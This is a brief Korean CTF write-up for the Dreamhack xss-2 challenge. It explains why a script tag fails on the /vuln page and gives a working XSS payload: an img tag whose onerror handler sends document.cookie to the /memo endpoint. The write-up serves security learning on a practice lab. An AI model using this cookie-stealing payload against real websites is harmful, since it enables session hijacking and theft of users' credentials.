문제 설명
render_template을 우회하여 플래그 값을 구하라
페이지 설명
모든 엔드포인트는 xss-1 문제와 똑같은 구성으로 이루어져 있다. 아래의 포스트를 참고하여 파악해보자
달라진 점은 /vuln 의 코드이다
@app.route("/vuln")
def vuln():
return render_template("vuln.html")
사용자가 입력한 param 값을 바로 리턴하는 것이 아니라 매개변수 전달 없이 vuln.html 로 랜더링 하도록 되어있다.
그러면 <script> 로 xss 를 수행할 수 없는 문제가 발생하기 때문에 다른 html 태그를 사용해서 xss를 수행해야 한다.
<img src="XSS-2" onerror="location.href='/memo?memo='+document.cookie">
이 태그를 파라미터로 보내면 vuln 페이지에 img 태그가 생성되고 onerror 속성을 사용하여 스크립트를 실행시킬 수 있습니다
https://dreamhack.io/wargame/challenges/268